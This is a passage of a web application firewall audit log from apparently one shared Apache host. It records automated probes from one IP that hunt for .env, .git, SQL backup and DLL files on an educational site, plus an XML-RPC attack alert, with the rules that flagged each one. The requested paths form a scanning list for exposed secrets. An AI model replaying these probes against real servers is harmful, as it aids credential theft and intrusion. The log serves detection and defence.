rel="https://api.w.org/" Set-Cookie: _sfs_id=8adb54649fe27c230084f099097d148f1750027162; expires=Sun, 15 Jun 2025 23:39:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --be9d084d-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/hooks/pre-commit"] [unique_id "aE9LmrV9qKUox3X8g1YjtAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027162465978 661342 (- - -) Stopwatch2: 1750027162465978 661342; combined=2504, p1=509, p2=1894, p3=0, p4=0, p5=100, sr=134, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --be9d084d-Z-- --0b965e40-A-- [16/Jun/2025:04:09:24.142870 +0530] aE9Lm32GhYywD7zZgx4BmgAAAAM 185.177.72.210 52192 127.0.0.1 7081 --0b965e40-B-- GET /:8880/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b965e40-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf29a65789e8b5f7356598efc85720cd1750027164; expires=Sun, 15 Jun 2025 23:39:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b965e40-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/administrateur/.env.staging"] [unique_id "aE9Lm32GhYywD7zZgx4BmgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027163496978 645972 (- - -) Stopwatch2: 1750027163496978 645972; combined=1952, p1=378, p2=1458, p3=0, p4=0, p5=115, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b965e40-Z-- --80f5e22c-A-- [16/Jun/2025:04:09:33.856376 +0530] aE9LpVxTdrwJSUMoZvGx0wAAAAc 185.177.72.210 55198 127.0.0.1 7081 --80f5e22c-B-- GET /:8181/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --80f5e22c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=735926e5b161296d1ee9b9ef9bc290a31750027173; expires=Sun, 15 Jun 2025 23:39:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --80f5e22c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/app/.env"] [unique_id "aE9LpVxTdrwJSUMoZvGx0wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027173168378 688098 (- - -) Stopwatch2: 1750027173168378 688098; combined=1907, p1=381, p2=1426, p3=0, p4=0, p5=99, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --80f5e22c-Z-- --ad8e461e-A-- [16/Jun/2025:04:09:50.631587 +0530] aE9LteB8H_qdtV-ppzUVeQAAAAI 185.177.72.210 57290 127.0.0.1 7081 --ad8e461e-B-- GET /fixtures/kitchensink/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ad8e461e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6181c9dfd8d2f452f8612b0a635845a71750027190; expires=Sun, 15 Jun 2025 23:39:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ad8e461e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fixtures/kitchensink/.env"] [unique_id "aE9LteB8H_qdtV-ppzUVeQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027189975991 655670 (- - -) Stopwatch2: 1750027189975991 655670; combined=2141, p1=516, p2=1529, p3=0, p4=0, p5=95, sr=130, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad8e461e-Z-- --9ff1e840-A-- [16/Jun/2025:04:10:02.324834 +0530] aE9LwX2GhYywD7zZgx4BqwAAAAM 185.177.72.210 48876 127.0.0.1 7081 --9ff1e840-B-- GET /test/bdd/fixtures/did-rest/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9ff1e840-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=186689bb6e67de0923026be88c64bbbc1750027202; expires=Sun, 15 Jun 2025 23:40:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9ff1e840-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/test/bdd/fixtures/did-rest/.env"] [unique_id "aE9LwX2GhYywD7zZgx4BqwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027201585738 739160 (- - -) Stopwatch2: 1750027201585738 739160; combined=2119, p1=398, p2=1630, p3=0, p4=0, p5=91, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9ff1e840-Z-- --c1fd715f-A-- [16/Jun/2025:04:10:05.470056 +0530] aE9LxHwHSJGQ1A1pR0qXkwAAAAY 128.199.112.101 49024 127.0.0.1 7081 --c1fd715f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c1fd715f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c1fd715f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9LxHwHSJGQ1A1pR0qXkwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027204530037 940087 (- - -) Stopwatch2: 1750027204530037 940087; combined=2128, p1=353, p2=1349, p3=49, p4=68, p5=189, sr=90, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1fd715f-Z-- --fab2956f-A-- [16/Jun/2025:04:10:21.355909 +0530] aE9L1FxTdrwJSUMoZvGx6AAAAAc 185.177.72.210 41104 127.0.0.1 7081 --fab2956f-B-- GET /next/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fab2956f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f2fb4b86c3e045cdf2fe2073cdee2651750027221; expires=Sun, 15 Jun 2025 23:40:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fab2956f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/next/.env"] [unique_id "aE9L1FxTdrwJSUMoZvGx6AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027220711254 644733 (- - -) Stopwatch2: 1750027220711254 644733; combined=1337, p1=322, p2=906, p3=0, p4=0, p5=108, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fab2956f-Z-- --7fb9f26e-A-- [16/Jun/2025:04:10:22.339524 +0530] aE9L1eB8H_qdtV-ppzUVhgAAAAI 185.177.72.210 41140 127.0.0.1 7081 --7fb9f26e-B-- GET /tmp/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7fb9f26e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=10093e0448aebcb8cc2bf0efcc07043f1750027222; expires=Sun, 15 Jun 2025 23:40:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7fb9f26e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/tmp/config_backup.sql"] [unique_id "aE9L1eB8H_qdtV-ppzUVhgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027221684065 655604 (- - -) Stopwatch2: 1750027221684065 655604; combined=2550, p1=501, p2=1946, p3=0, p4=0, p5=102, sr=166, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7fb9f26e-Z-- --1e805950-A-- [16/Jun/2025:04:10:32.851354 +0530] aE9L4MalTF-TysO2fMN_VQAAAAE 185.177.72.210 36610 127.0.0.1 7081 --1e805950-B-- GET /:8888/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e805950-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=07081ff3000ed561d85777fb30d6570b1750027232; expires=Sun, 15 Jun 2025 23:40:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1e805950-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/dashboard/.env"] [unique_id "aE9L4MalTF-TysO2fMN_VQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027232155240 696177 (- - -) Stopwatch2: 1750027232155240 696177; combined=1755, p1=378, p2=1277, p3=0, p4=0, p5=99, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1e805950-Z-- --713ee17b-A-- [16/Jun/2025:04:10:40.665978 +0530] aE9L57IOonfcVDbK8_bsiwAAAAA 185.177.72.210 38708 127.0.0.1 7081 --713ee17b-B-- GET /:8888/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --713ee17b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d1578b37c704ec8d833fcf7aba6ca6ce1750027240; expires=Sun, 15 Jun 2025 23:40:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --713ee17b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/administrateur/.env.staging"] [unique_id "aE9L57IOonfcVDbK8_bsiwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027239903005 763052 (- - -) Stopwatch2: 1750027239903005 763052; combined=152989, p1=390, p2=1373, p3=0, p4=0, p5=75656, sr=85, sw=1, l=0, gc=75569 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --713ee17b-Z-- --99f89e51-A-- [16/Jun/2025:04:10:45.526455 +0530] aE9L7LIOonfcVDbK8_bsjQAAAAA 185.177.72.210 38896 127.0.0.1 7081 --99f89e51-B-- GET /database.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99f89e51-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=59ec2669986e383aeb3dd7b84220ef221750027245; expires=Sun, 15 Jun 2025 23:40:45 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99f89e51-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/database.sql"] [unique_id "aE9L7LIOonfcVDbK8_bsjQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027244837967 688551 (- - -) Stopwatch2: 1750027244837967 688551; combined=1779, p1=417, p2=1256, p3=0, p4=0, p5=105, sr=147, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99f89e51-Z-- --cb54e62b-A-- [16/Jun/2025:04:10:46.529010 +0530] aE9L7calTF-TysO2fMN_WgAAAAE 185.177.72.210 38942 127.0.0.1 7081 --cb54e62b-B-- GET /:9000/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cb54e62b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=900378534712124bafbae1b6c5197e891750027246; expires=Sun, 15 Jun 2025 23:40:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cb54e62b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/staging/.env"] [unique_id "aE9L7calTF-TysO2fMN_WgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027245865129 663944 (- - -) Stopwatch2: 1750027245865129 663944; combined=2212, p1=516, p2=1593, p3=0, p4=0, p5=103, sr=131, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb54e62b-Z-- --d146fd12-A-- [16/Jun/2025:04:10:49.738530 +0530] aE9L8H2GhYywD7zZgx4BxAAAAAM 185.177.72.210 39058 127.0.0.1 7081 --d146fd12-B-- GET /pbserver/pbserver.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d146fd12-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7d8ab0de4a5572bae790fc086d66360e1750027249; expires=Sun, 15 Jun 2025 23:40:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d146fd12-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/pbserver/pbserver.dll"] [unique_id "aE9L8H2GhYywD7zZgx4BxAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027248991165 747428 (- - -) Stopwatch2: 1750027248991165 747428; combined=1782, p1=329, p2=1332, p3=0, p4=0, p5=120, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d146fd12-Z-- --c2e99154-A-- [16/Jun/2025:04:10:55.533815 +0530] aE9L9n2GhYywD7zZgx4BxwAAAAM 185.177.72.210 35188 127.0.0.1 7081 --c2e99154-B-- GET /blacklist.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c2e99154-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b508902d58056ad9f0178cac671e79ed1750027255; expires=Sun, 15 Jun 2025 23:40:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c2e99154-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file 